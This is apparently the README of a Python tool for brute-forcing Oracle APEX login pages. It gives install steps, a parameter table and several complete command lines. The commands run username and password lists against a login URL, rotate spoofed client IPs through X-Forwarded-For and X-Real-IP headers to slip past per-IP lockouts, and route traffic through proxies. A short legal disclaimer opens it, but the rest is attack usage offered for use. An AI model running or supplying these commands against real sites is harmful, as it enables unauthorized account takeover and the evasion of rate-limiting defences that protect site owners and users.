Unauthorized use of this tool to attack systems without permission is illegal and prosecutable.
The author assumes no responsibility for misuse of this tool.
- 🔐 Brute Force on Oracle APEX Login
- 🔄 Automatic IP Rotation with
X-Forwarded-ForandX-Real-IPheaders - 🌐 Proxy Support (HTTP/HTTPS/SOCKS)
- 🎯 Success Detection based on Status Code or Regex
- ⏱️ Configurable Delay between requests
- 🎨 Beautiful Color Output with Iran flag colors
- 📝 Save Results to
success.txtfile - 🔄 Attack Mode: Fixed password, rotating usernames
- 🛡️ Disable SSL Verification (for internal testing)
pip install -r requirements.txtrequests==2.31.0
beautifulsoup4==4.12.2
colorama==0.4.6
urllib3==2.0.7
# Clone repository
git clone https://github.com/omidsec/oab
cd apex-bruteforcer
# Install dependencies
pip install -r requirements.txtSyntax
python apex-bruteforcer.py -u <URL> --userfile <USERS> --passfile <PASSWORDS> -s <SUCCESS_CONDITION> [OPTIONS]Parameter Description Required Example
-u, --url | Login page URL | ✅ | https://example.com/ords/r/app/login
--userfile | File containing usernames (one per line) | ✅ | users.txt
--passfile | File containing passwords (one per line) | ✅ | passwords.txt
-s, --successful | Success condition (Status Code or Regex) | ✅ | 302 or "home"
--proxy | Proxy server | ❌ | http://127.0.0.1:8080
-d, --delay | Delay between requests (seconds) | ❌ | 1
--hip | Header for IP Spoofing | ❌ | X-Forwarded-For
--ipfile | File containing IP addresses (one per line) | ❌ | ips.txt
--verify | Enable SSL Verification | ❌ | -
python apex-bruteforcer.py -u "https://example.com//university/class/login" --userfile users.txt --passfile passlist.txt -s "home"python apex-bruteforcer.py -u "https://example.com/university/class/login" --userfile users.txt --passfile passlist.txt -s "home" --proxy http://127.0.0.1:8080python apex-bruteforcer.py -u "https://example.com/university/class/login" --userfile users.txt --passfile passlist.txt -s "home" --proxy http://127.0.0.1:8080 --hip "X-Forwarded-For" --ipfile ips.txt -d 1python apex-bruteforcer.py -u "https://example.com/university/class/login" --userfile users.txt --passfile passlist.txt -s "home" --proxy http://127.0.0.1:8080 --hip "X-Real-IP" --ipfile ips.txt -d 1-s "302" # Redirect
-s "200" # OK
-s "403" # Forbidden
-s "home" # Contains "home"
-s "dashboard" # Contains "dashboard"
-s "Welcome" # Contains "Welcome"
-s "r'user.*found'" # Regex pattern
-s "r'کاربر.*موفق'" # Persian regex

